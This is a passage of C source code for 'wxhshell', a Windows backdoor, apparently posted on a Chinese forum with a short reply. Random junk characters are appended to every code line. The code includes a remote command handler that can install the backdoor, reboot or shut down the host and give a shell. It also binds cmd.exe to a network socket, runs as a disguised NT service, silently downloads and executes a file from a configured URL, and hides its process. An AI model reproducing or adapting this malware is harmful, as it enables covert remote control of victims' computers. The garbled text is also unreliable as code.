  *c~T@m~DR  
  // 帮助 !46RGU:I  
  case '?': { { /K.3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WN{ 9  
    break; .y_/Uwu  
  } !c}O5TI|#  
  // 安装 r=5{o 1"  
  case 'i': { PD&\LbuG  
    if(Install()) u<3HQ.:;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OMWbZ>jB  
    else U1DXe h~V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lD^]\;?  
    break; =yr0bGy`-  
    } y4*U6+#.  
  // 卸载 A'q#I>j`  
  case 'r': { TD1 [  
    if(Uninstall()) i5Zk_-\#H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C~nzH,5  
    else ^B(V4-|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bt> }rYz1  
    break; ]+|~cRQ9I  
    } Y ;u<GOe  
  // 显示 wxhshell 所在路径 4wID]bKM  
  case 'p': { 5mJJU  
    char svExeFile[MAX_PATH]; GNXHM*~  
    strcpy(svExeFile,"\n\r"); 6l5:1|8b,!  
      strcat(svExeFile,ExeFile); l)Pu2!Ic  
        send(wsh,svExeFile,strlen(svExeFile),0); 1<BX]-/tP  
    break; &<wuJ%'>)Z  
    } QW $G  
  // 重启 oFy=-p+C  
  case 'b': { FME3sa$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >TOu|r  
    if(Boot(REBOOT)) +W:= e,=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  {Or;  
    else { =U#dJ^4P  
    closesocket(wsh); X 9p.gXF  
    ExitThread(0); 9z}uc@#D=m  
    } M)eO6oX|  
    break; jX3,c%aQ5e  
    } *of3:w  
  // 关机 JRSSn]pw  
  case 'd': { 19O,a#{KHf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q#vQv 5  
    if(Boot(SHUTDOWN)) R A KFU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d]:I(9K  
    else { w8kOVN2b  
    closesocket(wsh); ]$Yvj!K*Q  
    ExitThread(0); Fs{x(_LOr  
    } q;<h[b?  
    break; _CW(PsfY  
    } :uWw8`  
  // 获取shell _AQb6Nb  
  case 's': { \ ^ZlG.  
    CmdShell(wsh); P%{^i]  
    closesocket(wsh); 4a'N>eDR  
    ExitThread(0); r<K(jG[:{f  
    break; k.uMp<)D  
  } 7NDr1Z#B6V  
  // 退出 ~-EOjX(X'E  
  case 'x': { K[ (NTp$E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <F}_ /q1  
    CloseIt(wsh); @!`Xl*l  
    break; }dp=?AFg  
    } 2.%.Z_k)  
  // 离开 ^C_#<m_k  
  case 'q': { M[6:p2u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {$R' WXVs  
    closesocket(wsh); IB[)TZ2m  
    WSACleanup(); i'9vL:3  
    exit(1); RLb KD>  
    break; m=}B,']O  
        } p?B=1vn-2  
  } 2Ou[u#H  
  } >sWp ?  
'yL%3h _@  
  // 提示信息 Ag&0wN+jTM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t^6dzrF  
} =&,]Z6{ >  
  } +pR[U4$  
i%/Jp[e\W>  
  return; LG<J;&41~S  
} J@4Bf  
xYmxc9)2  
// shell模块句柄 Wn(6,MDUN  
int CmdShell(SOCKET sock) c- }X_)U }  
{ c17_2 @N  
STARTUPINFO si; _tBTE%sO  
ZeroMemory(&si,sizeof(si)); S<4c r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  /% M/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @^T1XX  
PROCESS_INFORMATION ProcessInfo; _~piZmkG$  
char cmdline[]="cmd"; w,h`s.AN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]`kmjn  
  return 0; Y8o)FVcyNy  
} Jh ]i]7r  
1XD,uoxB  
// 自身启动模式 qWODs  
int StartFromService(void) ynE)Xdh  
{ ~g5[$r-u-u  
typedef struct 8DegN,?  
{ !"\80LP  
  DWORD ExitStatus; tD+9kf2  
  DWORD PebBaseAddress; UPG9)aF  
  DWORD AffinityMask; 1(|'WyD  
  DWORD BasePriority; >[_f3;P  
  ULONG UniqueProcessId; ie2WL\tR4  
  ULONG InheritedFromUniqueProcessId; _i20|v   
}   PROCESS_BASIC_INFORMATION; Y*H|?uNF  
go'-5in(  
PROCNTQSIP NtQueryInformationProcess; P@9t;dZN  
RLLTw ?]$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cNM3I,o7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T[j#M+p  
ZuS0DPS`L  
  HANDLE             hProcess; #6+@M  
  PROCESS_BASIC_INFORMATION pbi; nv@8tdrc  
~c %hWt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kic/*v\6@  
  if(NULL == hInst ) return 0; YgUvOyaQXf  
5 u*-L_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Jo@|"cE=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); no< ^f]33  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @>W(1mRi  
Z@]e{zO  
  if (!NtQueryInformationProcess) return 0; . r[Hu40p  
+f@U6Vv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cd$m25CxC  
  if(!hProcess) return 0; a{ ?`t|  
L{h%f4Du#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vTlwRG=5  
L#+q]j+  
  CloseHandle(hProcess); 0tEYU:Qu  
my4giC2a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^yyC [Mz  
if(hProcess==NULL) return 0; wtH? [>S;)  
(2:/8\_P  
HMODULE hMod; UN]f"k&  
char procName[255]; kw"SwdP5  
unsigned long cbNeeded; >g+?Oebgw  
Y#u}tE d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %<an9WMF  
*Df,Ijh$  
  CloseHandle(hProcess); "a8j"lPJ  
r=X}%~_8X  
if(strstr(procName,"services")) return 1; // 以服务启动 qoj$]   
S"OR%  
  return 0; // 注册表启动 "CUty"R 8  
} 1n:8s'\  
?<(m 5Al7  
// 主模块 [^U#Qj)hL  
int StartWxhshell(LPSTR lpCmdLine) l zYnw)Pv  
{ 6P5Ih  
  SOCKET wsl; ?34 e-  
BOOL val=TRUE; iVy7elT;R  
  int port=0; <;#~l*  
  struct sockaddr_in door; &!/}Qp  
^(|vsFzn  
  if(wscfg.ws_autoins) Install(); `"&d a#N]  
SRrw0&ts  
port=atoi(lpCmdLine); @@8J6*y  
#m{UrTC  
if(port<=0) port=wscfg.ws_port; |aT| l^2R@  
D"J!\_o  
  WSADATA data; #ZYVc|sT+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5ZMR,SZhC  
6y6<JR-V2k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2Fq<*pxAY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BPdfYu ,il  
  door.sin_family = AF_INET; o[cV1G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LAd\Tvms  
  door.sin_port = htons(port); JWMpPzs  
a^=-Mp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %=/)  
closesocket(wsl); ($}`R xj1@  
return 1; Vzwc}k*Y  
} 8"fD`jtQ  
/XhIx\40 l  
  if(listen(wsl,2) == INVALID_SOCKET) { =u+d_'P7-R  
closesocket(wsl); .8y3O]  
return 1; F@<CsgKB-  
} ad:&$  
  Wxhshell(wsl); 49w=XJ  
  WSACleanup(); Ee3hG2d`  
%oq[,h <X  
return 0; *X, /7C   
@ ]/AjjLt  
} %Mk0QKzUo  
/ew Ukc8,  
// 以NT服务方式启动 #1c_evH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H Ge0hl[n  
{ DM}YJ  
DWORD   status = 0; 8[J}CdS  
  DWORD   specificError = 0xfffffff; /ig:9R  
Um: Hrjw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /k<WNZM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C\di7z:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !kE-_dY6)  
  serviceStatus.dwWin32ExitCode     = 0; ;ByOth|9P  
  serviceStatus.dwServiceSpecificExitCode = 0; /6h(6 *JI  
  serviceStatus.dwCheckPoint       = 0; CC@.MA@9N  
  serviceStatus.dwWaitHint       = 0; Xt#4/>dlR  
qt;y2gf=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hb^7oq"a  
  if (hServiceStatusHandle==0) return; 5JLu2P  
#:^YI c  
status = GetLastError(); -$WYj "  
  if (status!=NO_ERROR) L30$%G|  
{ e}.^Tiwd]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k31I ysh  
    serviceStatus.dwCheckPoint       = 0; ^ 8@Iyh  
    serviceStatus.dwWaitHint       = 0; |'{zri|A"  
    serviceStatus.dwWin32ExitCode     = status; aMvI?y {  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7 <Q5;J&;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _<NMyRJo  
    return; W~p/,HcM  
  } aOiR l,  
tc!wLnhG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m/qbRk68s  
  serviceStatus.dwCheckPoint       = 0; /Ne<V2AX  
  serviceStatus.dwWaitHint       = 0; E Kz'&Gu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2w-51tqm  
} Hx\H $Y  
h<SQL97N  
// 处理NT服务事件,比如:启动、停止 Ko/ I#)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]s GHG^I6  
{ K%X^n>O7C  
switch(fdwControl) D*YM[sN`  
{ 8kIR y   
case SERVICE_CONTROL_STOP: =n' 4?W@  
  serviceStatus.dwWin32ExitCode = 0; ^-[?#]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gW1b~( fD  
  serviceStatus.dwCheckPoint   = 0; %0mMz.f  
  serviceStatus.dwWaitHint     = 0; [_.5RPJP8  
  { mUz\ra;z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6^c>,.R  
  } ^+m+zd_  
  return; i6 (a@KRY  
case SERVICE_CONTROL_PAUSE: j~e;DO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]/B$br'O{?  
  break; ~DsECnD  
case SERVICE_CONTROL_CONTINUE: V]vc(rH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F`9ZH.  
  break; jvV9eA:zl  
case SERVICE_CONTROL_INTERROGATE: zKsz*xv6b  
  break; v !FMs<  
}; {s_+?<l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8-Hsgf.*  
} )"m!YuS Y  
l $jxLZ  
// 标准应用程序主函数 m~D&gGFt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nYt/U\n!  
{ a /:@"&Y  
bgK<pi)d  
// 获取操作系统版本 |-CnT:|o  
OsIsNt=GetOsVer(); "/nNM{^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !E-Pa5s  
3^Q]j^e4Ny  
  // 从命令行安装 WwUv5GZTW  
  if(strpbrk(lpCmdLine,"iI")) Install(); ph#tgLJ  
8B#GbS K  
  // 下载执行文件 JB&\i#  
if(wscfg.ws_downexe) { <6G1 1-K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a+9 *@z2  
  WinExec(wscfg.ws_filenam,SW_HIDE); AT\qiznvP  
} 5 XA=G  
6Vbzd0dk  
if(!OsIsNt) { W7\&~IWub  
// 如果时win9x,隐藏进程并且设置为注册表启动 Cb_oS4vM  
HideProc(); )#}mH@  
StartWxhshell(lpCmdLine); KPpHwcYxT  
} G5,~Z&}YS  
else )|I5j];L  
  if(StartFromService()) wfP5@!I  
  // 以服务方式启动 o8Z[+;  
  StartServiceCtrlDispatcher(DispatchTable); B=@ jWz"  
else bLnrbid  
  // 普通方式启动 c.A|Ir  
  StartWxhshell(lpCmdLine); & BvZF  
hG_?8:W8HT  
return 0; gn{=%`[  
}
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只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
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